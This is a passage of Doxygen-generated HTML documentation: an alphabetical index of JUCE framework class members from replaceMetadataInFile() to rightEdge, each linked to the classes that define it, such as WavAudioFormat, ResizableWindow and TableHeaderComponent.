href="classDrawable.html#ac07d49a56bad30d130c7c1cd8f7a7fe2">Drawable</a> , <a class="el" href="classDrawableShape.html#a0b99604d0b25dac36aaf17c51a631450">DrawableShape</a> </li> <li>replaceMetadataInFile() : <a class="el" href="classWavAudioFormat.html#a1f6a333b084402d486af76d518971160">WavAudioFormat</a> </li> <li>replaceNext() : <a class="el" href="classLinkedListPointer.html#a52ef66e128a22c2f2f89b2090320312d">LinkedListPointer&lt; ObjectType &gt;</a> </li> <li>replaceSection() : <a class="el" href="classString.html#ad31328c3ca7f43bae6c32fc59ff7b118">String</a> , <a class="el" href="classCodeDocument.html#ae6ec45481f08161ffcb222eafba21c32">CodeDocument</a> </li> <li>replaceWith() : <a class="el" href="classMemoryBlock.html#ad396877d63f2a45095535895a9b5071f">MemoryBlock</a> </li> <li>replaceWithData() : <a class="el" href="classFile.html#ac1828d341ded515c7606984aabd4614f">File</a> </li> <li>replaceWithText() : <a class="el" href="classFile.html#ab3476536a97b787f00b5988cdb326816">File</a> </li> <li>ResamplingAudioSource() : <a class="el" href="classResamplingAudioSource.html#a05d6ab55db4fe93572d4801e4c547220">ResamplingAudioSource</a> </li> <li>ResamplingQuality : <a class="el" href="classGraphics.html#a5da218e649d1b5ac3d67443ae77caf87">Graphics</a> </li> <li>rescaleAllValues() : <a class="el" href="classImageConvolutionKernel.html#adff3c9b24817bd16ffa56df9af129641">ImageConvolutionKernel</a> </li> <li>rescaled() : <a class="el" href="classImage.html#ae2355def370dff47cb627fa6419a6ac6">Image</a> </li> <li>reset() : <a class="el" href="classIIRFilter.html#ad393cad59b722523a6a10a4db579fbf7">IIRFilter</a> , <a class="el" href="classLagrangeInterpolator.html#a49ec82f24dd5f286ab518ee694c92104">LagrangeInterpolator</a> , <a class="el" href="classReverb.html#a5d132bb7b4edbeeedbd2d1ef7e4c87ef">Reverb</a> , <a class="el" href="classMidiKeyboardState.html#a32ba944d0ca8e29347abb96f24e56bf1">MidiKeyboardState</a> , <a class="el" href="classMidiRPNDetector.html#a2e0a21c1cd2ba5d529af947f7199aa79">MidiRPNDetector</a> , <a class="el" href="classAudioFormatWriter_1_1ThreadedWriter_1_1IncomingDataReceiver.html#a48e39e836142669e489b04389123536a">AudioFormatWriter::ThreadedWriter::IncomingDataReceiver</a> , <a class="el" href="classAudioProcessor.html#ab10c4739ceb56e5cd70dbce8aa8c4f61">AudioProcessor</a> , <a class="el" href="classAudioProcessorGraph.html#a3ceaedc1c4d645ccc20b22151bedc297">AudioProcessorGraph</a> , <a class="el" href="classAbstractFifo.html#a33ba0f93c22c9cc182f8fa78af07862f">AbstractFifo</a> , <a class="el" href="classMemoryBlock.html#a6c08083ae75b47186d20c7b591c56073">MemoryBlock</a> , <a class="el" href="classMemoryOutputStream.html#a48022a2ed05716333bcd8da5c26b4d59">MemoryOutputStream</a> , <a class="el" href="classWaitableEvent.html#aa9b3db111ba17e13d5e74360367bcc9b">WaitableEvent</a> , <a class="el" href="classDraggable3DOrientation.html#a044ceada7a836f33ed3b5359fdfd7117">Draggable3DOrientation</a> , <a class="el" href="classLinearSmoothedValue.html#a437e2033bee8c4c610b4fd0086b47042">LinearSmoothedValue&lt; FloatType &gt;</a> , <a class="el" href="classAudioThumbnail.html#a9a99b62ab38df9acf50ce84e9488bf6e">AudioThumbnail</a> , <a class="el" href="classMidiMessageCollector.html#ab9f16c8ff3d5d1b45ec409a6fb297b51">MidiMessageCollector</a> </li> <li>resetBoundingBoxToContentArea() : <a class="el" href="classDrawableComposite.html#a01762a42369e45a94d81c20bdc7e2d97">DrawableComposite</a> , <a class="el" href="classDrawableComposite_1_1ValueTreeWrapper.html#a27e459b1cc288fe3b9b69704b6a72be8">DrawableComposite::ValueTreeWrapper</a> </li> <li>resetContentAreaAndBoundingBoxToFitChildren() : <a class="el" href="classDrawableComposite.html#a3f6167f97a85bfab740f819ba6dae9b6">DrawableComposite</a> </li> <li>resetErrorState() : <a class="el" href="classOpenGLHelpers.html#acad5e92d97154f3df22079b7d457b946">OpenGLHelpers</a> </li> <li>resetRecentPaths() : <a class="el" href="classFileBrowserComponent.html#aa7de2c3418a52ac04d7d357cf6881b9f">FileBrowserComponent</a> </li> <li>resetReferenceCount() : <a class="el" href="classReferenceCountedObject.html#a9bbeeab431755e2be8ff09dfe9ea4c4d">ReferenceCountedObject</a> </li> <li>resetToDefault() : <a class="el" href="structAudioPlayHead_1_1CurrentPositionInfo.html#a4eb2e1834c4f9e932ef43301c0cd99ea">AudioPlayHead::CurrentPositionInfo</a> </li> <li>resetToDefaultMapping() : <a class="el" href="classKeyPressMappingSet.html#a60fb5f6f71f8d4b9ef04627c625fb5b5">KeyPressMappingSet</a> </li> <li>resetToDefaultMappings() : <a class="el" href="classKeyPressMappingSet.html#a11ec4b86290489da987e2fcc3455b140">KeyPressMappingSet</a> </li> <li>resetToDefaultState() : <a class="el" href="classStandaloneFilterWindow.html#a7fcc3628b8e48d4f0a72fa268a86046f">StandaloneFilterWindow</a> , <a class="el" href="classGraphics.html#ab8b7cd49bf1ff738c5ff848727e3bc75">Graphics</a> </li> <li>resetToPerpendicular() : <a class="el" href="classRelativeParallelogram.html#a60c724ee40ffce52e0a1d575722fce9a">RelativeParallelogram</a> </li> <li>resizable : <a class="el" href="classTableHeaderComponent.html#abfee3b5ccd3289efb38e7b7dd1162831ae21b31a36ae1a8a25aed0c8cc5301720">TableHeaderComponent</a> , <a class="el" href="structDialogWindow_1_1LaunchOptions.html#a07bc81d41581d3d5bc1d05be03a5b4b6">DialogWindow::LaunchOptions</a> </li> <li>resizableBorder : <a class="el" href="classResizableWindow.html#a4d0b53ec83fe41125b1223bb92171543">ResizableWindow</a> </li> <li>ResizableBorderComponent() : <a class="el" href="classResizableBorderComponent.html#a7ac45de1070370a02e6d641cffd7dc35">ResizableBorderComponent</a> </li> <li>resizableCorner : <a class="el" href="classResizableWindow.html#a99d4f438dba8740a09fbeb832450013f">ResizableWindow</a> </li> <li>ResizableCornerComponent() : <a class="el" href="classResizableCornerComponent.html#a3706073ab81c9dcf5161bc570b2c1226">ResizableCornerComponent</a> </li> <li>ResizableEdgeComponent() : <a class="el" href="classResizableEdgeComponent.html#a50df447594f67bdb95d5d334c4f97889">ResizableEdgeComponent</a> </li> <li>ResizableWindow() : <a class="el" href="classResizableWindow.html#a16e8710f342007dbcb7c7d4171043f0c">ResizableWindow</a> </li> <li>resize() : <a class="el" href="classArray.html#aeee604745ed7157e6b14e8b54a27634f">Array&lt; ElementType, TypeOfCriticalSectionToUse, minimumAllocatedSize &gt;</a> , <a class="el" href="classvar.html#a9569f9234ca0d7265d34e80704d0bfba">var</a> </li> <li>resizeAllColumnsToFit() : <a class="el" href="classTableHeaderComponent.html#abccd726884264ed9fed54b23c55c3b94">TableHeaderComponent</a> </li> <li>resized() : <a class="el" href="classTableListBox.html#a55f8af174554cc757a6b8e8ad10260ad">TableListBox</a> , <a class="el" href="classFileSearchPathListComponent.html#af317f2a16e3490434e882e25edf3fecd">FileSearchPathListComponent</a> , <a class="el" href="classTabbedComponent.html#ae539255dc001ce506e0a9f1493be1a35">TabbedComponent</a> , <a class="el" href="classPropertyPanel.html#a18b47c93593de5405c8fe5e4c6445644">PropertyPanel</a> , <a class="el" href="classPropertyComponent.html#a96ec6d515107ae96b8e7b8c154fbda67">PropertyComponent</a> , <a class="el" href="classSlider.html#a1aaa7af33f6f90a40fbf70a2bbdebc6d">Slider</a> , <a class="el" href="classCallOutBox.html#af20578de71eec8f927c9386c0ae198c5">CallOutBox</a> , <a class="el" href="classKeyMappingEditorComponent.html#a5a53bfe81621c258183660f6e748619d">KeyMappingEditorComponent</a> , <a class="el" href="classCodeEditorComponent.html#a7fa2c81e022e85eb9400196a3c081c13">CodeEditorComponent</a> , <a class="el" href="classToolbar.html#aab983263c74d1c1fe48d558a855c1f51">Toolbar</a> , <a class="el" href="classResizableWindow.html#ae42aa18209b1d14e8441dce5b991cb07">ResizableWindow</a> , <a class="el" href="classToolbarItemPalette.html#aee1fa3f12b376dbb6ea451edff357477">ToolbarItemPalette</a> , <a class="el" href="classMultiDocumentPanel.html#aecbba36fe92fb871b3582d12cce807b7">MultiDocumentPanel</a> , <a class="el" href="classMenuBarComponent.html#ade96b3d946c7edba58b71c58b5e03043">MenuBarComponent</a> , <a class="el" href="classTabBarButton.html#a4a2dcf3b22c2e54dc182cd67f616fa4a">TabBarButton</a> , <a class="el" href="classFilenameComponent.html#ab37d289009be54a5fd8fe34c0e30df0c">FilenameComponent</a> , <a class="el" href="classOnlineUnlockForm.html#a9493276aee2d9b7c6efc5326e472f219">OnlineUnlockForm</a> , <a class="el" href="classStandaloneFilterWindow.html#a029336e5ea7014d9a92d4cb712c50c38">StandaloneFilterWindow</a> , <a class="el" href="classToolbarButton.html#a62f9ef54d3dd2a234309250a2f75734d">ToolbarButton</a> , <a class="el" href="classFileBrowserComponent.html#a2be160fd2d593e77edd60b056160ca76">FileBrowserComponent</a> , <a class="el" href="classMidiKeyboardComponent.html#a4c7191a8e9e7b9f691ae660cb0f05ae2">MidiKeyboardComponent</a> , <a class="el" href="classDrawableButton.html#a86aa54141e8e1117f979d87cc72cd2f2">DrawableButton</a> , <a class="el" href="classListBox.html#aa74082b69e31dfea83fa83e65b7ccf52">ListBox</a> , <a class="el" href="classScrollBar.html#a18ed7a67fa5a0641939c03a1186655d7">ScrollBar</a> , <a class="el" href="classTabbedButtonBar.html#ac5be05b934d9ceaef93729e8e8ac8597">TabbedButtonBar</a> , <a class="el" href="classViewport.html#ab9427d36852b58100df1160944195743">Viewport</a> , <a class="el" href="classTableHeaderComponent.html#a2a203db8edd85f6b279ad206421d3389">TableHeaderComponent</a> , <a class="el" href="classGenericAudioProcessorEditor.html#a74a6e5cca9abdcdb34058de23e2b91d6">GenericAudioProcessorEditor</a> , <a class="el" href="classComboBox.html#aaac698ef603e25f7e61ab510c74808eb">ComboBox</a> , <a class="el" href="classLabel.html#a440739a97aa7875bb5311f96379c81ff">Label</a> , <a class="el" href="classAudioDeviceSelectorComponent.html#a4decb02c8e9f4815fcaf2b008048be98">AudioDeviceSelectorComponent</a> , <a class="el" href="classToolbarItemComponent.html#afc8e41938abc9d59ac9f471a9fe51209">ToolbarItemComponent</a> , <a class="el" href="classTreeView.html#a6653345fa423e3969cfecb804f8b1886">TreeView</a> , <a class="el" href="classDialogWindow.html#a495890fb9139e539f86190c7319da3ea">DialogWindow</a> , <a class="el" href="classTextEditor.html#abe670d0ecdbbf419f76631565bc2600b">TextEditor</a> , <a class="el" href="classPreferencesPanel.html#aa72d4e3b3798e6c966062de385a9b6d0">PreferencesPanel</a> , <a class="el" href="classWebBrowserComponent.html#a5cb3ce4059be47375aa3e25836277ccc">WebBrowserComponent</a> , <a class="el" href="classComponent.html#ad896183a68d71daf5816982d1fefd960">Component</a> </li> <li>resizeEnd() : <a class="el" href="classComponentBoundsConstrainer.html#a8e97270a714a8e9df0bbe1359388c599">ComponentBoundsConstrainer</a> </li> <li>resizeRectangleBy() : <a class="el" href="classResizableBorderComponent_1_1Zone.html#acc3054a16f6d88c07b1db439ddf20d69">ResizableBorderComponent::Zone</a> </li> <li>resizeStart() : <a class="el" href="classComponentBoundsConstrainer.html#a93469c13206cd1f1a8662a4d031f6efc">ComponentBoundsConstrainer</a> </li> <li>resizeToFit() : <a class="el" href="classStretchableObjectResizer.html#ad91dce94a524b769b10c663eec6f0b4e">StretchableObjectResizer</a> </li> <li>resizeToFitView() : <a class="el" href="classNSViewComponent.html#a3d7466089ae77b3428df1986f89ad949">NSViewComponent</a> , <a class="el" href="classUIViewComponent.html#af65552c117379c5b6fd3b7b7021c4be0">UIViewComponent</a> </li> <li>resolve() : <a class="el" href="classRelativeRectangle.html#a697db976cfd6376b2e4eb4a650182be8">RelativeRectangle</a> , <a class="el" href="classRelativeCoordinate.html#a3f41920dc7782e0eea4d91e83b3b4bed">RelativeCoordinate</a> , <a class="el" href="classRelativePoint.html#a6b19278099037025cff45301abf0d52c">RelativePoint</a> </li> <li>resolveFourCorners() : <a class="el" href="classRelativeParallelogram.html#a507aad3af1a02ac27a5d228dafc3386b">RelativeParallelogram</a> </li> <li>resolveThreePoints() : <a class="el" href="classRelativeParallelogram.html#a940e39998c909b64b0c8b3c518964414">RelativeParallelogram</a> </li> <li>reSortTable() : <a class="el" href="classTableHeaderComponent.html#a39a03757452b664a3645c55a02e6d76a">TableHeaderComponent</a> </li> <li>respondsToKey() : <a class="el" href="classViewport.html#a29ebb30af22b82b14cbab02646da7dc4">Viewport</a> </li> <li>restartLastAudioDevice() : <a class="el" href="classAudioDeviceManager.html#ac46693f5b78c06357b16bf5e95560605">AudioDeviceManager</a> </li> <li>restoreBusArrangement() : <a class="el" href="classPluginBusUtilities.html#ac41b5800e5e948b3ef0488774aded2a5">PluginBusUtilities</a> </li> <li>restoreFromString() : <a class="el" href="classPath.html#aef179732c86b368fc6461d889fad4d6b">Path</a> , <a class="el" href="classToolbar.html#aa1a6e1e20211d3601a86a508bd2428eb">Toolbar</a> , <a class="el" href="classTableHeaderComponent.html#ae4a9ef600e4187d86a3c4f6567ebe14c">TableHeaderComponent</a> , <a class="el" href="classRecentlyOpenedFilesList.html#ac1c8310d4a13cba8c0b7168b980e7e09">RecentlyOpenedFilesList</a> </li> <li>restoreFromXml() : <a class="el" href="classKeyPressMappingSet.html#acd0da647bbd350e6daebcd8705a8b11e">KeyPressMappingSet</a> , <a class="el" href="classPropertySet.html#aeb4db0338ee4d9d121427990306d8101">PropertySet</a> , <a class="el" href="classChannelRemappingAudioSource.html#a2bb3bd5bc67e413e9c143c64ba904125">ChannelRemappingAudioSource</a> </li> <li>restoreOpennessState() : <a class="el" href="classTreeViewItem.html#a2543807283072980a45ba62f4f0eed46">TreeViewItem</a> , <a class="el" href="classPropertyPanel.html#aed72746ba6c25b392fa70dd3af4a60bd">PropertyPanel</a> , <a class="el" href="classTreeView.html#a0e88906665c57b672def512e355af4f8">TreeView</a> </li> <li>restoreState() : <a class="el" href="classGraphics.html#ac724e99c9a7bcd8b2987a484e269a368">Graphics</a> , <a class="el" href="classLowLevelGraphicsContext.html#a873bad830decaf0de5a3a34027ce8519">LowLevelGraphicsContext</a> , <a class="el" href="classLowLevelGraphicsPostScriptRenderer.html#a73c976316f90095c60465d8297bdaa10">LowLevelGraphicsPostScriptRenderer</a> , <a class="el" href="structCodeEditorComponent_1_1State.html#ad6507af99d6a35aaa6a4068900214a97">CodeEditorComponent::State</a> </li> <li>restoreWindowStateFromString() : <a class="el" href="classResizableWindow.html#a462e5efd2f570fd65b0822c0ea96889b">ResizableWindow</a> </li> <li>Result() : <a class="el" href="classResult.html#a4457dd54f8a2854b2c1517c9583651c0">Result</a> </li> <li>resultsUpdated() : <a class="el" href="classUnitTestRunner.html#afa7f79986587d186c212af8a02f04d94">UnitTestRunner</a> </li> <li>resumed() : <a class="el" href="classJUCEApplication.html#a292fcde28c3270c5d3afa84dba14feab">JUCEApplication</a> , <a class="el" href="classJUCEApplicationBase.html#a3d6b5a8c46caa068a61fa775df38d014">JUCEApplicationBase</a> </li> <li>retainCharacters() : <a class="el" href="classString.html#a509ef3d4fc6f6ca65f5a264810b9e97c">String</a> </li> <li>returnKey : <a class="el" href="classKeyPress.html#a1cfe46412c3af08250ddc14bfaef1205">KeyPress</a> </li> <li>returnKeyPressed() : <a class="el" href="classListBoxModel.html#a713c3007875a4473feafdd81fc8d58fc">ListBoxModel</a> , <a class="el" href="classTableListBox.html#a9abe1206de0c97feeaf3361e8531cf54">TableListBox</a> , <a class="el" href="classTableListBoxModel.html#a1c622b283ff2dec56f5373ca223544ae">TableListBoxModel</a> , <a class="el" href="classFileSearchPathListComponent.html#a0668eaacb767fc7cbb07b9ccb253c49e">FileSearchPathListComponent</a> </li> <li>returnPressed() : <a class="el" href="classTextEditor.html#aea9150456f5680f7a83c54e1aa561155">TextEditor</a> </li> <li>revealCursor() : <a class="el" href="classMouseInputSource.html#ade2da3233cdfaab0e8b6baf5671682bb">MouseInputSource</a> </li> <li>revealToUser() : <a class="el" href="classFile.html#a1e5beaaa04e6944be45c90fe331e0531">File</a> </li> <li>Reverb() : <a class="el" href="classReverb.html#a765b925557df7e43bf5ed275fc6950d1">Reverb</a> </li> <li>ReverbAudioSource() : <a class="el" href="classReverbAudioSource.html#a9bb3f69c71cf6dd49eab94c4f46de919">ReverbAudioSource</a> </li> <li>reverse() : <a class="el" href="classAudioBuffer.html#a41cbf05e4d7054e02d5844b09a8eceb5">AudioBuffer&lt; Type &gt;</a> </li> <li>reversed() : <a class="el" href="classLine.html#a5f1e5bd37ae3cf2dd014f854b7ea0337">Line&lt; ValueType &gt;</a> </li> <li>rewindKey : <a class="el" href="classKeyPress.html#a135d25e32e2493d0e58a61ae3e476121">KeyPress</a> </li> <li>RGB : <a class="el" href="classImage.html#ab47b5746d2df286ae6f8da6af5463c01a03a8b8bb3246ef72c98b01e711d61425">Image</a> </li> <li>riffInfoArchivalLocation : <a class="el" href="classWavAudioFormat.html#aef07aaf5687376d1474c14cec59d8000">WavAudioFormat</a> </li> <li>riffInfoArtist : <a class="el" href="classWavAudioFormat.html#add4f90364d7839ddcc7a0ce8cb511fc3">WavAudioFormat</a> </li> <li>riffInfoBaseURL : <a class="el" href="classWavAudioFormat.html#a4e2fdf5d072f3cb1409cea6afcd69aba">WavAudioFormat</a> </li> <li>riffInfoCinematographer : <a class="el" href="classWavAudioFormat.html#ade05c518170372bb379192de82f8e71d">WavAudioFormat</a> </li> <li>riffInfoComment : <a class="el" href="classWavAudioFormat.html#a759dc8a3cdb9b65abd02618b6e8db619">WavAudioFormat</a> </li> <li>riffInfoComments : <a class="el" href="classWavAudioFormat.html#a98df291c5bf42a8c29a4bd9033af437a">WavAudioFormat</a> </li> <li>riffInfoCommissioned : <a class="el" href="classWavAudioFormat.html#a49588b1f708d26d943ae844f28f8e140">WavAudioFormat</a> </li> <li>riffInfoCopyright : <a class="el" href="classWavAudioFormat.html#a8f19e1225e3c04c9d0306cda02c57f26">WavAudioFormat</a> </li> <li>riffInfoCostumeDesigner : <a class="el" href="classWavAudioFormat.html#a84e7aafb8c2f125e6b471dfd7f28f486">WavAudioFormat</a> </li> <li>riffInfoCountry : <a class="el" href="classWavAudioFormat.html#afe1729c2fcb1fa63663d2c45c5eca643">WavAudioFormat</a> </li> <li>riffInfoCropped : <a class="el" href="classWavAudioFormat.html#a48acbd77e320d56fcb63940aede512ae">WavAudioFormat</a> </li> <li>riffInfoDateCreated : <a class="el" href="classWavAudioFormat.html#a0cb2023c418dca1c305aa2754cf39b39">WavAudioFormat</a> </li> <li>riffInfoDateTimeOriginal : <a class="el" href="classWavAudioFormat.html#a0383034d0caae6295c5316f9aee38714">WavAudioFormat</a> </li> <li>riffInfoDefaultAudioStream : <a class="el" href="classWavAudioFormat.html#ac84cbe1bc51f0da88c3fa7ec909664ce">WavAudioFormat</a> </li> <li>riffInfoDimension : <a class="el" href="classWavAudioFormat.html#a7c02b55f1abb0e4db3079b0524c888f8">WavAudioFormat</a> </li> <li>riffInfoDirectory : <a class="el" href="classWavAudioFormat.html#a65fb0f01210e6439231bec2b4dcb6b09">WavAudioFormat</a> </li> <li>riffInfoDistributedBy : <a class="el" href="classWavAudioFormat.html#af9640d316a88bb9b157a24cea7ec2ffb">WavAudioFormat</a> </li> <li>riffInfoDotsPerInch : <a class="el" href="classWavAudioFormat.html#a30f5c48c8a8ce5bb1aae1696955d7658">WavAudioFormat</a> </li> <li>riffInfoEditedBy : <a class="el" href="classWavAudioFormat.html#a93a6b8ea6c807576c5503a87a9411b27">WavAudioFormat</a> </li> <li>riffInfoEighthLanguage : <a class="el" href="classWavAudioFormat.html#a3aff156f20331fd931a0c90b47265114">WavAudioFormat</a> </li> <li>riffInfoEncodedBy : <a class="el" href="classWavAudioFormat.html#a3fd56e5250a848d5f3ad008ebad59481">WavAudioFormat</a> </li> <li>riffInfoEndTimecode : <a class="el" href="classWavAudioFormat.html#af6b16cb81b67d0806c2da9c8d488ac7b">WavAudioFormat</a> </li> <li>riffInfoEngineer : <a class="el" href="classWavAudioFormat.html#af4913aba3ff2940e2d10f56d6deded35">WavAudioFormat</a> </li> <li>riffInfoFifthLanguage : <a class="el" href="classWavAudioFormat.html#af759d04d1f878427f7ad07e7986f5ddf">WavAudioFormat</a> </li> <li>riffInfoFirstLanguage : <a class="el" href="classWavAudioFormat.html#a14db6158e1242549db447216f66a3a28">WavAudioFormat</a> </li> <li>riffInfoFourthLanguage : <a class="el" href="classWavAudioFormat.html#a3f5ccb371b9cbfb1144d6a0b46f57328">WavAudioFormat</a> </li> <li>riffInfoGenre : <a class="el" href="classWavAudioFormat.html#afb5fa8bf485947e2aeeaf06d7255d497">WavAudioFormat</a> </li> <li>riffInfoKeywords : <a class="el" href="classWavAudioFormat.html#ac03f03db082322f809a054f6bbe3e1a7">WavAudioFormat</a> </li> <li>riffInfoLanguage : <a class="el" href="classWavAudioFormat.html#a8815b3f9045feeca743ff627c91ee45e">WavAudioFormat</a> </li> <li>riffInfoLength : <a class="el" href="classWavAudioFormat.html#a76b879ceb986f482ccb4a699d523776f">WavAudioFormat</a> </li> <li>riffInfoLightness : <a class="el" href="classWavAudioFormat.html#a6ab39231b22a7a5b5aee2809d647cd20">WavAudioFormat</a> </li> <li>riffInfoLocation : <a class="el" href="classWavAudioFormat.html#a03ad8972d090a17d329156e1eda921dc">WavAudioFormat</a> </li> <li>riffInfoLogoIconURL : <a class="el" href="classWavAudioFormat.html#acc9ea9271d2c79451e26109075168bd1">WavAudioFormat</a> </li> <li>riffInfoLogoURL : <a class="el" href="classWavAudioFormat.html#a1fa9fc14767335f8bdc07663bed15b73">WavAudioFormat</a> </li> <li>riffInfoMedium : <a class="el" href="classWavAudioFormat.html#a8ff7eb34dbed5d47429496b9685db218">WavAudioFormat</a> </li> <li>riffInfoMoreInfoBannerImage : <a class="el" href="classWavAudioFormat.html#aeddc4efae2f35a33b9a2cc6f68c77f23">WavAudioFormat</a> </li> <li>riffInfoMoreInfoBannerURL : <a class="el" href="classWavAudioFormat.html#ac47484ec4e04ee21163c494f745594f7">WavAudioFormat</a> </li> <li>riffInfoMoreInfoText : <a class="el" href="classWavAudioFormat.html#a979483f68078353aa9239342b4c0b1fa">WavAudioFormat</a> </li> <li>riffInfoMoreInfoURL : <a class="el" href="classWavAudioFormat.html#afa4f82ac5d8c9586156b120cc8933495">WavAudioFormat</a> </li> <li>riffInfoMusicBy : <a class="el" href="classWavAudioFormat.html#aea90ca2dd333d233fbcd92a1bfafca2b">WavAudioFormat</a> </li> <li>riffInfoNinthLanguage : <a class="el" href="classWavAudioFormat.html#af130af0bab732ded7e967a64d11342ff">WavAudioFormat</a> </li> <li>riffInfoNumberOfParts : <a class="el" href="classWavAudioFormat.html#a174909703a37de860251df85c17d5c4b">WavAudioFormat</a> </li> <li>riffInfoOrganisation : <a class="el" href="classWavAudioFormat.html#abdef987938e3286a2b62a853d442e396">WavAudioFormat</a> </li> <li>riffInfoPart : <a class="el" href="classWavAudioFormat.html#a27bebeabab6159a1627e1929485f3124">WavAudioFormat</a> </li> <li>riffInfoProducedBy : <a class="el" href="classWavAudioFormat.html#a1076df5794cf433c8e0e0450d71cd96c">WavAudioFormat</a> </li> <li>riffInfoProductionDesigner : <a class="el" href="classWavAudioFormat.html#acf60b7c1db4977a59d7e13b65c3a7fd0">WavAudioFormat</a> </li> <li>riffInfoProductionStudio : <a class="el" href="classWavAudioFormat.html#a101f738b931d2068d9ec16e3fe69c3f5">WavAudioFormat</a> </li> <li>riffInfoRate : <a class="el" href="classWavAudioFormat.html#a738b99975c3ee261b420494355b82de5">WavAudioFormat</a> </li> <li>riffInfoRated : <a class="el" href="classWavAudioFormat.html#a4f387b9d497ee212492e4a5c716a5783">WavAudioFormat</a> </li> <li>riffInfoRating : <a class="el" href="classWavAudioFormat.html#a5d2ac599e559d5b217be8dca2e24957d">WavAudioFormat</a> </li> <li>riffInfoRippedBy : <a class="el" href="classWavAudioFormat.html#a168f969d48931e62eff63a26821ff9d1">WavAudioFormat</a> </li> <li>riffInfoSecondaryGenre : <a class="el" href="classWavAudioFormat.html#a226aa8c7c3326aa4794c6b903d877a27">WavAudioFormat</a> </li> <li>riffInfoSecondLanguage : <a class="el" href="classWavAudioFormat.html#a098584cd0a8eaabf55dc4185504565a7">WavAudioFormat</a> </li> <li>riffInfoSeventhLanguage : <a class="el" href="classWavAudioFormat.html#a1458b88ea080209def48850ef6208f74">WavAudioFormat</a> </li> <li>riffInfoSharpness : <a class="el" href="classWavAudioFormat.html#a1777a4a74cfd20598041f2ee3226fc6e">WavAudioFormat</a> </li> <li>riffInfoSixthLanguage : <a class="el" href="classWavAudioFormat.html#ad1c1706b40e9d7321e09e1ba19b2e65d">WavAudioFormat</a> </li> <li>riffInfoSoftware : <a class="el" href="classWavAudioFormat.html#a1a5098e29cc67a47672242043eae579d">WavAudioFormat</a> </li> <li>riffInfoSoundSchemeTitle : <a class="el" href="classWavAudioFormat.html#a08f307b1924a244e2e08c54abe017dd3">WavAudioFormat</a> </li> <li>riffInfoSource : <a class="el" href="classWavAudioFormat.html#a0e6802160fa890975a695d2155d93f9c">WavAudioFormat</a> </li> <li>riffInfoSourceFrom : <a class="el" href="classWavAudioFormat.html#a719a75a45bee72d1335a7f801ba5e328">WavAudioFormat</a> </li> <li>riffInfoStarring_ISTR : <a class="el" href="classWavAudioFormat.html#ae0d8a1900efd24ef0034afc41b5194de">WavAudioFormat</a> </li> <li>riffInfoStarring_STAR : <a class="el" href="classWavAudioFormat.html#a9eaad0dfd49d42c9267df03179836ae4">WavAudioFormat</a> </li> <li>riffInfoStartTimecode : <a class="el" href="classWavAudioFormat.html#a9770a833fabf3e918e70398b1240c8ac">WavAudioFormat</a> </li> <li>riffInfoStatistics : <a class="el" href="classWavAudioFormat.html#af386b1012879ed42fbe596cc78ee8ce3">WavAudioFormat</a> </li> <li>riffInfoSubject : <a class="el" href="classWavAudioFormat.html#a76e39bc7555f014984d38dca3e3894e6">WavAudioFormat</a> </li> <li>riffInfoTapeName : <a class="el" href="classWavAudioFormat.html#aafc51a7e81e1612c059cb407ee5be300">WavAudioFormat</a> </li> <li>riffInfoTechnician : <a class="el" href="classWavAudioFormat.html#a3de654ed4db4aac4180e964523fe22f6">WavAudioFormat</a> </li> <li>riffInfoThirdLanguage : <a class="el" href="classWavAudioFormat.html#a00a475dca44eb3a84cf32007bff67b79">WavAudioFormat</a> </li> <li>riffInfoTimeCode : <a class="el" href="classWavAudioFormat.html#a2538ca0eac9fca783ff984a7ebf1be84">WavAudioFormat</a> </li> <li>riffInfoTitle : <a class="el" href="classWavAudioFormat.html#a2da916847a684739ab3aec385da740f1">WavAudioFormat</a> </li> <li>riffInfoTrackNumber : <a class="el" href="classWavAudioFormat.html#a315ce7fa45fbee8c5805c40cbac0d1cd">WavAudioFormat</a> </li> <li>riffInfoURL : <a class="el" href="classWavAudioFormat.html#a63e37c6adbe971535e7a91fa6477623c">WavAudioFormat</a> </li> <li>riffInfoVegasVersionMajor : <a class="el" href="classWavAudioFormat.html#afa85f13bf4f567e471e620aab716e119">WavAudioFormat</a> </li> <li>riffInfoVegasVersionMinor : <a class="el" href="classWavAudioFormat.html#a1659ae9aa9a5d5eb827f8b336fc090ea">WavAudioFormat</a> </li> <li>riffInfoVersion : <a class="el" href="classWavAudioFormat.html#a8282b9b25abb9f6cb37302fd3b02f83f">WavAudioFormat</a> </li> <li>riffInfoWatermarkURL : <a class="el" href="classWavAudioFormat.html#a6965a365ca073102fd96ba61046080d6">WavAudioFormat</a> </li> <li>riffInfoWrittenBy : <a class="el" href="classWavAudioFormat.html#a3c3fac740a1a98be1795830207f99d6e">WavAudioFormat</a> </li> <li>riffInfoYear : <a class="el" href="classWavAudioFormat.html#a1e987faff09ae874c16120dcd0d13634">WavAudioFormat</a> </li> <li>right : <a class="el" href="classAudioChannelSet.html#ab917e490df2e0edfb1087e4c4f8d652ea5cd28c0881d53656730afec3cb77a7a1">AudioChannelSet</a> , <a class="el" href="structRelativeCoordinate_1_1Strings.html#a39fa56a500b153b8bf66a8eaa56d72cf">RelativeCoordinate::Strings</a> , <a class="el" href="structRelativeCoordinate_1_1StandardStrings.html#a996870bf66337348b8da0f06c647a65badaac1346cf275256a828314869f1bec1">RelativeCoordinate::StandardStrings</a> , <a class="el" href="classBubbleComponent.html#aba96d481d723fd2549f497ccd7ed41a3a2dee448ac06c9b0186287c5f7e071b33">BubbleComponent</a> , <a class="el" href="classJustification.html#a1f8c07756c56fe8f31ed44964e51bfbca92d0fe0a466b35d67e1b7b91f971d7bb">Justification</a> , <a class="el" href="classResizableBorderComponent_1_1Zone.html#ad6fba9e9d2be9a3c7e31f14ba8f6881ead78b7d524dca9da5cd0d8576041ff84b">ResizableBorderComponent::Zone</a> , <a class="el" href="classRelativeRectangle.html#aa5d7a81e56ebaa8101aa23d43e652dd2">RelativeRectangle</a> </li> <li>rightButton : <a class="el" href="classAppleRemoteDevice.html#a63ccce128a48e63972e2d71a8de5f8d0a41364e422072e6231a74a487f63f08fd">AppleRemoteDevice</a> </li> <li>rightButton_Long : <a class="el" href="classAppleRemoteDevice.html#a63ccce128a48e63972e2d71a8de5f8d0aebf3d7bc747ddd6b471d7a71a330432b">AppleRemoteDevice</a> </li> <li>rightButtonModifier : <a class="el" href="classModifierKeys.html#acdd2a85defa6a705d74e1a63d193678ba4676310fa50ddb14bb81722e1dd3bdd5">ModifierKeys</a> </li> <li>rightEdge : <a class="el" href="classResizableEdgeComponent.html#a5dfd6990713a931c4411f4ab89b51e25ac7c8c54bfed40fbe58dbb8745371bc41">ResizableEdgeComponent</a> </li> 